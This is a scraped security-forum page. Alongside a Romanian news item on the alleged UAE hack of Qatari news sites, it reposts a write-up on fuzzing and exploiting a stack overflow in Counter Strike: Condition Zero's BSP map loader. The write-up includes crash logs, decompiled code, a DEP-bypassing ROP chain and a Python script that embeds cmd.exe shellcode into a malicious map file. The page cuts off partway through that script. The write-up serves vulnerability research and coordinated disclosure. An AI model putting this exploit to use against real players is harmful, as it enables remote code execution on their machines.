0day! Cross-posts from the SensePost blog upcoming with challenges on heap-exploitation! Post-Scriptum I am willing to donate the 1500$ bounty I received from the Internet Bug Bounty to any organisation related to kids schooling and, especially, those teaching and providing means regarding Information Technologies. Knowledge is Power! So tune in and leave your suggestions in the comment section below; I have thought of ComputerAid, any opinions on this? Publicado por Javier Jiménez en 14:24 Sursa: https://animal0day.blogspot.ro/2017/07/from-fuzzing-apache-httpd-server-to-cve.html
      • 1
      • Upvote
  22. Emiratele Arabe Unite au spart site-urile oficiale qatareze, creand pretextul pentru ruperea relatiilor cu Qatarul ce a dus la criza din regiune - Washington Post de G.S. HotNews.ro Luni, 17 iulie 2017, 8:44 Actualitate | Internaţional Steagul Qatarului Foto: Wikimedia Commons Emiratele Arabe Unite (EAU) au orchestrat spargerea site-urilor de stiri guvernamentale ale Qatarului pentru postarea de declaratii false incendiare atribuite emirului Qatarului, lucru ce a dus la ruperea relatiilor dintre Qatar si vecinii sai, potrivit unor oficialii din serviciile de informatii din SUA, scrie Washington Post. Oficiali americani au aflat saptamana trecuta ca analiza informatiilor obtinute de serviciile secrete ale SUA a confirmat ca pe 23 mai inalti reprezentanti ai guvernului din Emiratele Arabe Unite au discutat planul si implementarea lui. Inca nu este clar daca EAU au realizat atacul cibernetic sau au platit pe altcineva. Potrivit stirilor false postate pe site-urile qatareze de stiri si pe conturile guvernamentale de pe retelele sociale, emirul Sheikh Tamim Bin Hamad al-Thani ar fi spus ca Iranul este o “putere islamica” si a laudat Hamas. Spargerea conturilor si diseminarea falselor declaratii au avut loc pe 24 mai, la scurt timp dupa ce Donald Trump a avut, in Arabia Saudita, o lunga intalnire pe tema anti-terorismului cu liderii din Golful Persic, presedintele american declarand la final ca aceste tari au ajuns la o pozitie comuna. Invocand falsele declaratii ale emirului, Arabia Saudita, Bahrain si Egipt au rupt relatiile cu Qatar si au declansat un boicot comercial si diplomatic ce a declansat o criza politica si diplomatica din regiune. Ambasadorul la Washington al Emiratelor Arabe Unite a negat infomatiile, spunand ca articolul din Post este “fals”. “EAU nu a avut absolut niciun rol in presupusul hacking descris in articol. Ceea ce este real este comportamentul Qatarului. Finantarea, sprijinirea si incurajarea extremistilor, de la talibani la Hamas si Gaddafi. A incitat la violenta, a incurajat radicalizarea si a subminat stabilitatea vecinilor sai”, a sustinut ambasadorul Yousef al-Otaiba. Sursa: http://www.hotnews.ro/stiri-international-21905130-emiratele-arabe-unite-spart-site-urile-oficiale-qatareze-creand-pretextul-pentru-ruperea-relatiilor-qatarul-dus-criza-din-regiune-washington-post.htm?source=biziday
  23. Nytro

    Fun stuff

    @aelius
  24. Lock and Load: Exploiting Counter Strike via BSP Map Files Jul 7, 2017 • Grant What makes Counter Strike an interesting target is that it relies on a game lobby for players to find and select servers to play on. Upon connecting to the server, the game client will automatically download any required resources (maps, textures, sounds, etc.). Once all of the resources have been downloaded, they have to be loaded and parsed from disk into memory. Only then will the client begin receiving commands and entity updates from the server. This automatic resource fetching looked like the ticket to a remotely exploitable vulnerability via a local file. The vulnerability discussed in this article has been disclosed to Valve Security and the patch publicly deployed on July 10th. I would like to extend my thanks to the Valve Security team and specifically to Alfred Reynolds who was my liaison during the disclosure process. The whole process, from initial email to fix, lasted less than 30 days. I certainly look forward to disclosing to Valve in the future. Go, go, go! - Finding Crashes My approach to finding bugs was to use the tried and true method of fuzzing. Essentially I gathered a bunch of existing BSP map files for my corpus and then used them as seeds to my fuzzing engine. This will corrupt them and then feed them back in to the program (CZ) to be parsed while being watched for any crashes. If a crash is found, it is recorded and stored for later triage and classification. I figured that highly complex file formats such as .BSP would map quite well to low-level memcpy operations in the engine. It’s even possible that stored sizes of data structures in the BSP file will be less validated than most file formats. I had a few false starts to this project when selecting a fuzzer to use. First I tried honggfuzz under Cygwin, but this proved to be completely broken for crash detection. Next I tried WinAFL which I was unable to get to work due to some binary incompatibilities and possible Windows 10 issues. This led to a multi-day rabbit hole of building DynamicRIO from source and rebuilding WinAFL against it. In the end I gave up trying to get a coverage based fuzzer to work and went instead with the solid CERT Basic Fuzzing Framework (BFF). This proved to be an excellent choice due to its easy configuration file and deep integration with Microsoft debugging tools, including WinDBG and !exploitable. I also had some relevant experience with the framework through fuzzing VLC when it used to be called Failure Observation Engine (FOE). BFF is a simple “dumb” fuzzer, meaning it merely corrupts bytes in the file and writes it back out. It has no knowledge of the BSP file format or of the target it is fuzzing. This is great for quick setup, but for more complex formats, code coverage of the parsing code may be limited. For shallow bugs, dumb fuzzing will not have much of an issue finding them. With this fuzzer in mind, I went about exploring instrumentation on the GoldSrc engine. When running a game on this engine, the executable hl.exe boots, loads common engine resources, and then loads a game specific DLL (known as a client DLL or cl_dll) which drives the engine via a proxy API. This API and the associated utilities are the primary SDK interface that many game modders deal with. Technically Counter Strike 1.6 (cstrike) and Condition Zero (czero) are both considered “mods” as they merely use the proxy API for gameplay. When running a mod like CZ, the engine command line looks like: hl.exe -game czero $OTHER_ARGS. In order to quickly iterate through map files, I looked up the command line flags for starting the engine with CZ and to load a map upon start. This is the command line I used: C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hl.exe -game czero -dev -window -console +sv_lan 1 +map MAP_NAME where -window makes it so I can fuzz and browse the web at the same time, sv_lan 1 makes a local-only server, and map immediately changes the map on login. With the ability to programmatically run the engine, I installed BFF, Debugging Tools for Windows, and then started configuring BFF. BFF installs to C:\BFF by default and has the concept of a fuzzing campaign. I started a new one for CZ and then edited the bff.yaml configuration file: campaign: id: counter strike czero keep_heisenbugs: False use_buttonclicker: False target: program: C:\Users\MyName\.babun\cygwin\bin\bash.exe cmdline_template: $PROGRAM -c '"C:/BFF/mover.sh" $SEEDFILE "C:/Program Files (x86)/Steam/steamapps/common/Half-Life/hl.exe" -game czero -dev -window -console +sv_lan 1 +map aim_fuzz' NUL ... directories: seedfile_dir: seedfiles\bsp working_dir: fuzzdir results_dir: results ... fuzzer: fuzzer: bytemut fuzz_zip_container: False Everything except program, cmdline_template, and seedfile_dir are the defaults. Notice that this cmdline isn’t just running hl.exe. This is because I ran into problems getting the corrupted BSP file to be read by the engine. GoldSrc has a dedicated, per-mod resource directory and will not load resources based on an absolute path. Hence, I made a bash script under Cygwin to first move the generated BSP file to the resource directory as aim_fuzz.bsp. It’s a simple three-liner, it gets the job done, and doesn’t affect crash detection due to exec: /bin/cp "$1" "c:\\Program Files (x86)\\Steam\\steamapps\\common\\Half-Life\\czero_downloads\\maps\\aim_fuzz.bsp" shift exec "$@" It’s unfortunate that BFF doesn’t support post-processing fuzzed files like honggfuzz does, since this would have eliminated the need for this hack. With the fuzzer set up, I copied all of the map files less than 3.0 MB from my czero_downloads/maps folder into the seedfiles\bsp directory. This left me with 74 map files as seeds. I could have used more, but as you will see, finding crashes was not that difficult. Fire in the Hole! - Triaging Crashes After running for less than a day on a single Windows 10 x64 machine, 43 crashes were found. It’s no surprise that the BSP parsing turned up a lot of unique crashes as it’s a complex file format combining many different data objects into one format. Here’s the crash breakdown by predicted severity: 3 - EXPLOITABLE 5 - PROBABLY_EXPLOITABLE 35 - UNKNOWN Thanks to MSEC’s !exploitable, most of the hard crash triage was already done. Each crash folder had the minimized test case along with a full WinDBG log and !analyze output. In order to reproduce these crashes, BFF provides a nice script called repro.py. Running python C:\BFF\tools\repro.py -w PATH_TO_FUZZED_FILE will drop you into a WinDBG GUI for further investigation. With that, let’s take a look at the three EXPLOITABLE crashes. Crash #1 Now this looks interesting. EIP looks like ASCII which might mean we have control over it! ... Spawn Server aim_fuzz Clearing memory Using WAD File: uacyber_stproz.wad Using WAD File: as_tundra.wad Using WAD File: halflife.wad Using WAD File: cs_dust.wad Using WAD File: cs_cbble.wad Texture load: 56.7ms WARNING: failed to locate sequence file aim_fuzz "sv_maxspeed" changed to "900" GAME SKILL LEVEL:1 "pausable" changed to "0" Executing listen server config file (465c.4c78): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 44334143 ?? ??? ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44334143 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x1e2606b6.0x1e2606b6 Hash Usage : Stack Trace: Major+Minor : Unknown Instruction Address: 0x0000000044334143 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044334143 (Hash=0x1e2606b6.0x1e2606b6) Unfortunately further investigation showed that this wasn’t the case and EIP just coincidentally got an ASCII-only value. Let’s dive into IDA to investigate…but where was the original faulting instruction? How did we get to 0x44334143? This called for some WinDBG learning. I needed a way to know what the last instruction was right before the DEP violation. Originally before writing this post, I had single stepped WinDBG until arriving at the faulting address. But now when I reproduce the crash I’ve come to realize that the backtrace contains the last stack frame. If this crash had caused stack corruption then this approach wouldn’t have worked, since stack corruption would have corrupted the stack frames (i.e. the saved EBP value). 1:005:x86> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0019f2c0 00000000 028e433d 10342a7c 10342a88 0x44334143 1:005:x86> r eax=00000080 ebx=10342a88 ecx=10342a7c edx=1069d298 esi=106e4b34 edi=10342938 eip=44334143 esp=0019f2c4 ebp=0019f2e4 iopl=0 ov up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a16 44334143 ?? ??? I tried visiting 0x28e433d in IDA and I saw this function call: Stepping into this function showed this: It looks like the jmp target has been controlled from a starting offset via EAX. It looks like an attempt was made to prevent the function pointer index from going above 7, but JGE on x86 is a signed comparison! This means that EAX can go negative (0x80 - 0xff) and pass the check as this signed char is casted to unsigned char for the jump. In WinDBG at the time of the crash, EAX was 0x80. Doing some pointer math of 0x297bad4+[0x80∗4]=0x297bcd40x297bad4+[0x80∗4]=0x297bcd4 and then a lookup in IDA shows at the calculated address: If you notice, the CA3D string matches perfectly to our crashing address, except it’s bytes are reversed. The hex dump confirms this: So what we have is a controlled function pointer load and transfer within a range of 127 DWORDs. This read occurs from the .data section, which is read-write, but from this point, we’d have to find a controlled place in this tight range to write a known code address. With this understanding and a bit of disappointment I moved on to the other crashers to see if I’d have any better luck. Crash #2 The next crash turns out to be a little bit more interesting but not obviously easier to get code execution ... Adding: czero/dlls\mp.dll ModLoad: 00000000`256d0000 00000000`25860000 c:\program files (x86)\steam\steamapps\common\half-life\czero\dlls\mp.dll Dll loaded for mod Condition Zero ModLoad: 00000000`607e0000 00000000`6086e000 c:\program files (x86)\steam\steamapps\common\half-life\platform\servers\serverbrowser.dll ModLoad: 00000000`61700000 00000000`61757000 C:\Program Files (x86)\Steam\steamapps\common\Half-Life\vstdlib.dll MP3_InitStream(30, sound\music\downed_intro.mp3) successful Spawn Server aim_fuzz Clearing memory (61b8.7004): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x3f53f: 0285f53f 8906 mov dword ptr [esi],eax ds:002b:77023e00=5d00191d ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception ** ERROR: Symbol file could not be found. Defaulted to export symbols for hl.exe - Exception Faulting Address: 0x77023e00 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Faulting Instruction:0285f53f mov dword ptr [esi],eax Exception Hash (Major/Minor): 0xdfa48bac.0x58d60243 Hash Usage : Stack Trace: Major+Minor : hw+0x3f53f ... Minor : ntdll_77470000!_RtlUserThreadStart+0x1b Instruction Address: 0x000000000285f53f Description: User Mode Write AV Short Description: WriteAV Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at hw+0x000000000003f53f (Hash=0xdfa48bac.0x58d60243) From this crash log, it looks like we have control over ESI. Further investigation in IDA and some reverse code lookups in ReHLDS found the original function: void Mod_LoadTextures(lump_t *l) { dmiptexlump_t *m; miptex_t *mt; ... char dtexdata[348996]; ... texture_t *tx; wads_parsed = 0; starttime = Sys_FloatTime(); if (!tested) Mod_AdInit(); if (!l->filelen) { loadmodel->textures = 0; return; } m = (dmiptexlump_t *)(mod_base + l->fileofs); // looks like we corrupted a lump header m->_nummiptex = LittleLong(m->_nummiptex); // the crashing line loadmodel->numtextures = m->_nummiptex; loadmodel->textures = (texture_t **)Hunk_AllocName(4 * loadmodel->numtextures, loadname); ... Looks like a corrupted lump fileofs which caused a bad pointer dereference on line 468. This is interesting as we have control over the entire lump contents, but it’s going to require some more reading to figure out how to achieve code execution. Overall this function is a mess of direct pointer arithmetic and there are bound to be many more ways to make this function crash. Some more digging would probably yield a write-what-where primitive, but I moved on to the next crash to see if it was easier to exploit. Crash #3 The last crash turned out to be quite interesting. The fuzzed BSP file was based upon the map awp_snowsk337.bsp (a really fun map). Here is the WinDBG output of the two crashing exceptions: ... Spawn Server aim_fuzz Clearing memory Texture load: 50.3ms (ab5c.72b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x4ddd7: 0286ddd7 8941f8 mov dword ptr [ecx-8],eax ds:002b:001a0000=78746341 ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x1a0000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Exception Hash (Major/Minor): 0xfa8446e7.0xb321cd22 Hash Usage : Stack Trace: Major+Minor : hw+0x4ddd7 ... Minor : Unknown Instruction Address: 0x000000000286ddd7 Description: Exception Handler Chain Corrupted Short Description: ExceptionHandlerCorrupted Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at hw+0x000000000004ddd7 (Hash=0xfa8446e7.0xb321cd22) And when continuing from this first chance exception to the Structured Exception Handler (SEH): 1:005:x86> g;$$Found_with_CERT_BFF_2.8;r;!exploitable -v;q ModLoad: 70e20000 70e33000 C:\WINDOWS\SysWOW64\dhcpcsvc6.DLL ModLoad: 70e00000 70e14000 C:\WINDOWS\SysWOW64\dhcpcsvc.DLL (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=44980000 edx=774f2d90 esi=00000000 edi=00000000 eip=44980000 esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 44980000 ?? ??? !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44980000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x918f89cc.0x7f62488f Hash Usage : Stack Trace: Major+Minor : Unknown Excluded : ntdll_77470000!ExecuteHandler2+0x26 Excluded : ntdll_77470000!ExecuteHandler+0x24 Excluded : ntdll_77470000!KiUserExceptionDispatcher+0xf Excluded : Unknown ... Excluded : Unknown Instruction Address: 0x0000000044980000 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044980000 called from Unknown Symbol @ 0xffffffffc40e0000 (Hash=0x918f89cc.0x7f62488f) This crash transferred control to the default SEH on the stack, the trigger being an access violation after dereferencing the stack guard page. It looks like a nearly unlimited buffer overflow which is exactly the type of exploitability I was looking for. BFF happens to provide some heuristics to determine the “Exploitability Rank” and it gave this a 5/100 (lower is better). Crash #1 had a score of 20 (possibly exploitable) and Crash #2 a 100 (no way). The SEH handler’s address was overwritten to 0x44980000, which happens to be the float value of 1216.0. A quick search of the corrupted file with 010 Editor yielded hundreds of values like this. In order to determine the exact value that would give us control over the SEH handler, I wrote a script to incrementally replace each found value with an incrementing float value. Rerunning with the new BSP file yielded a file offset of 0x4126C bytes. Now I had control over EIP! Observe: 1:005:x86> r (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=deadbeef edx=774f2d90 esi=00000000 edi=00000000 eip=deadbeef esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 deadbeef ?? ??? From this point (due to DEP) I needed to ROP out of the exception handler frame and back to the old stack. For this I needed a special gadget of the form pop REG32, pop REG32, pop esp, ret or similar. The next tool that helped me start ROPing was !mona running under Immunity DBG. Using mona’s “findwild” gadget search, I tried to find an appropriate stack pivot in non-ASLR’d, non-rebased modules, but I was unable to after many hours of poring over gadgets. This was quite disappointing. Luckily I still had complete control over the stack frame, so all I needed to do was to find out how to overwrite the saved return address for the function. Dropping into IDA revealed a reasonably simple function (Note: this function was difficult to understand at first and to took me a while to understand the mapping from the BSP file to the code. This is the finished version before I found the source code online and learned the real names and data types. Many days of hard work are being glossed over.) int __cdecl GL_SubdivideSurface(MapInfo *object) { signed int numVerts; // ecx@1 int numVertsToProc; // edi@1 struct_gData *bObject; // edx@2 int initialIndex; // esi@2 float *pVEC3DATA; // ecx@2 int indexPos; // esi@2 signed int index; // edi@3 int offset; // eax@4 float *pVEC3; // eax@6 float VEC3DATA[192]; // [sp+4h] [bp-304h]@2 int numVertsStack; // [sp+304h] [bp-4h]@2 int vec3Count; // [sp+310h] [bp+8h]@2 numVerts = 0; g_modVuln = object; numVertsToProc = object->numVerts; if ( numVertsToProc > 0 ) { bObject = g_CurBObject; initialIndex = object->initialIndex; // 00002c4c pVEC3DATA = &VEC3DATA[1]; vec3Count = object->numVerts; // initially 0x9c (this was corrupted from fuzzer) indexPos = initialIndex; numVertsStack = numVertsToProc; do { index = bObject->INDEX_BUFFER[indexPos]; if ( index <= 0 ) offset = bObject->VERTEX_BUFFER_INDEX[-4 * index + 1]; else offset = bObject->VERTEX_BUFFER_INDEX[4 * index]; ++indexPos; pVEC3DATA += 3; pVEC3 = &bObject->VECTOR_DATA[3 * offset]; *(pVEC3DATA - 4) = *pVEC3; *(pVEC3DATA - 3) = pVEC3[1]; *(pVEC3DATA - 2) = pVEC3[2]; // overwrite here --vec3Count; } while ( vec3Count ); numVerts = numVertsStack; } return SubdivideSurface(numVerts, (int)VEC3DATA);// if numverts == 0, this function returns quick } By reading the excellent IDA decompiled source with struct types, I determined that BFF had corrupted the vec3Countvariable. This caused more than 64 VEC3 (three 4-byte floats) to be placed into the VEC3DATA struct causing the numVertsStack and vec3Count variables to be corrupted. vec3Count was corrupted to a large number, which is why we saw the exception at 0286ddd7 mov dword ptr [ecx-8],eax when it overwrote the guard page. Get out of there, it’s gonna blow! - Exploiting the Crash At this point I still need to solve three problems in order to gain code execution: Where in the BSP file maps to the VECTOR_DATA, INDEX_BUFFER and VERTEX_BUFFER_INDEX data streams? How do I bypass the SubdivideSurface function so that the GL_SubdivideSurface returns? How do I disable DEP and start running shellcode? Problem #1 I did some more digging with 010 Editor (this tool proved so invaluable that I bought it) and using a similar approach to finding the SEH handler offset, I found the starting offsets for all three buffers. There was some guessing and fudging of the numbers to get things just right, but it worked for the file I was corrupting, so I didn’t worry about perfecting it. In possible future BSP exploits, I’d like to understand more about the file format in order to create more knowledgeable exploit generators. My first effort towards this has been the creation of an 010 Editor binary template file for parsing out the Half-Life 1 BSP format (version 30 with no magic FourCC value in the header). 010 Editor is my go to tool for reverse engineering and viewing binary file formats. The BSP format has many versions and modifications. The Half-Life 1 version is documented here. In short, BSP is made up of “lumps” which are just blocks of bytes that have a defined data structure, such as textures, vertices, edges, faces, entities, etc. Through fuzzing, different parts of the lumps will be affected, which will affect the parsing of the file. Problem #2 The GL_SubdivideSurface function must return in order to pop the corrupted saved return address off the stack, but there is a tail call of SubdivideSurface which prevents this. Also there is a bounds check on the numVerts which limits it to 60 (not enough to overflow important data). int __cdecl SubdivideSurface(signed int numVerts, int object) { if ( numVerts > 60 ) sub_28C8450("numverts = %i", numVerts); sub_286D4C0(numVerts, (float *)object, (int)v35, (int)v31); for ( i = 0; ; ++i ) { if ( i >= 3 ) { result = sub_28E5D30(28 * (numVerts - 4) + 128); v26 = result; *(_DWORD *)result = gWarpface->field_24; *(_DWORD *)(result + 12) = *(_DWORD *)&gWarpface->gap0[8]; gWarpface->field_24 = result; *(_DWORD *)(result + 8) = numVerts; v30 = 0; while ( v30 < numVerts ) { ... } return result; // we want to reach here to exit quickly } v2 = (v35[i] + v31[i]) * 0.5; v24 = floor(v2 / 64.0 + 0.5) * 64.0; if ( v31[i] - v24 >= 8.0 && v24 - v35[i] >= 8.0 ) break; } ... SubdivideSurface(v34, (int)&v39); return SubdivideSurface(v46, (int)&v43); } Further reading of this function made me realize that if could I can somehow change the numVerts input argument then I could quickly bypass this function. To my luck, the GL_SubdivideSurface stack frame had numVerts right below the overflowed buffer. This meant that I could control the variable to fake the number of vertices processed SubdivideSurface, effectively bypassing it. Problem #3 With the knowledge of where to place my data in the BSP file (to cause reliable bytes to be placed on the stack), I just needed a nice ROP chain that would allow me to disable DEP on the current stack page and then jump to my shellcode. Mona to the rescue! Simply running !mona rop and waiting an hour I was left with a nice, DEP-disabling ROP chain. I also learned that you can use VirtualAlloc on already allocated memory to set flags, just like VirtualProtect. I initially tried to use VirtualProtect, but none of the safe modules had any references to it. Only four modules were available for ROP gadgets in the process: hl.exe, filesystem_stdio.dll, hw.dll, steamclient.dll, and icudt.dll. Unfortunately the reliability of this exploit was limited due to the heavy usage of gadgets from steamclient.dll, which changes on every steam update. This actually happened during my exploitation process, necessitating a re-generation of my gadgets. What a pain! Hours of debugging and testing with WinDBG later, I had successfully confirmed that this ROP chain was working! All I needed was to change my exploit script to add in some shellcode and I was golden. I found some Windows Universal cmd.exe shellcode from Shell Storm and BOOM! Command prompt appeared. Check out a video of it in action Here is the complete exploit code that I wrote to get control over the BSP file and get code running: #!/usr/bin/env python # Counter Strike: Condition Zero BSP map exploit # By @Digital_Cold Jun 11, 2017 from binascii import hexlify, unhexlify from struct import pack, unpack import math import mmap import logging fmt = "[+] %(message)s" logging.basicConfig(level=logging.INFO, format=fmt) l = logging.getLogger("exploit") # Specific to the file INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int] VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short] VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float] NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash # No longer used as could not find a gadget to 'pop, pop, pop esp, ret' # SEH_OVERWRITE_OFF = 0x4126C # Initial offset into the index buffer where the function to exploit resides INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already # INDEX_BUFFER # 0: 20 # 1: 10 # 2: 2 --> Vertex Buffer Indexes # VERTEX BUFFER INDEXES # 0: 1 # 1: 2 # 2: 4 --> Vertex Data # VERTEX DATA # 0: 1.23, 23423.0, 3453.3 # 1: 1.23, -9.0, 3453.3 # 2: 1.0, 1.0, 1.0 # 3: 1.0, 1.0, 1.0 # 4: 0.0, 1.0, 0.0 # Example: # a = INDEX_BUFFER[2] ; a = 2 # b = VERTEX_BUFFER[a] ; b = 4 # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0 def dw(x): return pack("I", x) def main(): target_file = "eip-minimized.bsp" output_file = "exploit-gen.bsp" print "GoldSource .BSP file corruptor" print " by @Digital_Cold" print l.info("Corrupting target file %s" % target_file) # Read in and memory map target file fp = open(target_file, 'rb') mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY) fp.close() VEC3_COUNT = 63 # then come Saved EBP and return address start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET second_idx = VERTEX_BUFFER_INDEXES_OFF vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults l.info("Writing to index buffer offset %08x...", start_idx) l.info("Vertex buffer indexes start %08x", second_idx) l.info("Vertex data at %08x", vertex_data_start) data_buffer = [] for i in range(VEC3_COUNT): for j in range(3): data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory data_buffer.append("\x00\x00\x00\x00") # dont care data_buffer.append("\x00\x00\x00\x00") # unk1 data_buffer.append("\x00\x00\x00\x00") # unk2 data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call) data_buffer.append("\x00\x00\x00\x00") # EBP data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe] # XXX: bug in mona. This is a ptr to VirtualProtectEx!! # 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll] """ Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD -------------------------------------------- """ # START ROP CHAIN # DEP disable ROP chain # rop chain generated with mona.py - www.corelan.be # # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio rop_gadgets = [ #0x3808A308, # INT3 # RETN [steamclient.dll] 0x38420ade, # POP EDX # RETN [steamclient.dll] 0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll] 0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll] 0x381ebdc1, # POP EBP # RETN [steamclient.dll] 0x381f98cd, # & jmp esp [steamclient.dll] 0x387885ac, # POP EBX # RETN [steamclient.dll] 0x00000001, # 0x00000001-> ebx 0x384251c9, # POP EDX # RETN [steamclient.dll] 0x00001000, # 0x00001000-> edx 0x387cd449, # POP ECX # RETN [steamclient.dll] 0x00000040, # 0x00000040-> ecx 0x386c57fe, # POP EDI # RETN [steamclient.dll] 0x385ca688, # RETN (ROP NOP) [steamclient.dll] 0x0140b00e, # POP EAX # RETN [hl.exe] 0x90909090, # nop 0x385c0d3e, # PUSHAD # RETN [steamclient.dll] ] # Can be replaced with ANY shellcode desired... # http://shell-storm.org/shellcode/files/shellcode-662.php shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \ "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \ "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \ "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \ "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \ "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \ "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \ "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \ "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \ "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \ "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \ "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \ "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \ "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \ "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \ "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \ "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \ "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \ "\x24\x20\x57\xFF\xD0" shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash) shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode_dwords = int(math.ceil(len(shellcode)/4.0)) extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0)) # Loop count (needs to be the exact amount of ROP we want to write data_buffer.append(dw(extra_dwords)) for addr in rop_gadgets: data_buffer.append(dw(addr)) for b in range(shellcode_dwords): data = "" for byte in range(4): idx = byte + b*4 # pad to nearest DWORD with INT3 if idx >= len(shellcode): data += "\xcc" else: data += shellcode[idx] data_buffer.append(data) second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before # we can exploit the function # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW #mmfile[NUM_EDGES_OFF] = pack("B", 0x41) for i in range(int(math.ceil(len(data_buffer)/3.0))): mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i) 